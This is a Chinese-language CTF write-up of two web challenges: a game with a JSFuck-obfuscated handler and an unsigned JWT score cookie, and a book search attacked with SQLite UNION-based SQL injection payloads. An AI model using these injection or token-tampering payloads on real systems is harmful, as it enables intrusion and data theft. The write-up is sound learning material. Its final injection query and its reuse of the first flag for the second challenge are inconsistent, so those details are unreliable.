首次参加 CTF，工具不全，加上零星时间，也就这样了。
1.加菲猫最爱的游戏
冲冲冲，拿下加菲猫最爱吃的千层饼。（千层饼也是饼干，不是么？）
难度：中档
一个简单的登录页，填上就行了
方法1
左右两个盒子选，能选对 但是也会错（当然你可以硬玩，适合头铁的
方法2
既然不好玩，那我们看看他的游戏逻辑，发现是从后端进行判断的
发现成功处理是一段 JSFUCK。
JSFUCK 内容
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(!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[!+[] + !+[] + !+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] 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!+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + ([][(!![] + [])[!+[] + !+[] + !+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]() + [])[!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + ([][[]] + [])[!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + (![] + [])[+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]])[(![] + [])[!+[] + !+[] + !+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]]]((!![] + [])[+[]])[([][(!![] + [])[!+[] + !+[] + !+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]() + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]]](([][(![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]] + ![] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]])()[([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]]) + [])[+!+[]]) + ([] + [])[(![] + [])[+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + ([][(![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [][(![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]()[+!+[] + [!+[] + !+[]]])())
那就好办了，直接放到控制台执行，然后发起了一个请求，点进去看VM就有 Flag 了
PS：其实当时我用的更稀奇古怪的方法（强制使它报错得到VM，其实直接看网络请求页就行）
方法3
该方法为群友方法
去看cookie，发现有一段JWT，解密发现其没有加密，那么就直接修改score（
Flag:catctf{0r4ng3_c4t5_rul3_7h3_w0rld_4nd_3v3ry0n3_l0v35_l4s4gn4}
2.抓住那个偷书贼
风雨交加，夜深人静，你偷偷潜进了嘉定校区图书馆……
本题 flag 格式：flag{xxxxxx}
难度：简单
进入网页，一个输入框，然后没有别的东西了，搜索任何书都搜不出来。
那么首先看看 SQL 注入，输入1’ 时，发现返回查询错误: near “‘%'”: syntax error，那么直接开撸，输入
1′ UNION SELECT 1,2,3– //报错 SELECTs to the left and right of UNION do not have the same number of result columns
1′ UNION SELECT 1,2,3,4– // 发现 正确，则该表是四列
1′ UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema=DATABASE()– // 尝试获取表名，报错 no such function: DATABASE
那么则有可能是 SQLite
1′ UNION SELECT title, author, year, NULL FROM books– // 当时用的似乎不是这条 顺序也有点问题，还有个NULL我忘了是啥（不过不影响，成功获取书列表，flag呢？
那么继续，我们来看看有哪些表
1′ UNION SELECT name, NULL, NULL, NULL FROM sqlite_master WHERE type=’table’—
输出 搜索结果 (3 本书) books 作者: books 出版年份: books flag_table 作者: flag_table 出版年份: flag_table sqlite_sequence 作者: sqlite_sequence 出版年份: sqlite_sequence
很好 看来 flag 就在 flag table 里头。
1′ UNION SELECT name, type, name, NULL FROM pragma_table_info(‘flag_table’)– 看看表列名
1′ UNION SELECT flag, id, flag, id FROM sqlite_master WHERE type=’flag_table’– 秒杀
Flag: catctf{0r4ng3_c4t5_rul3_7h3_w0rld_4nd_3v3ry0n3_l0v35_l4s4gn4}
如你所见（我摆烂了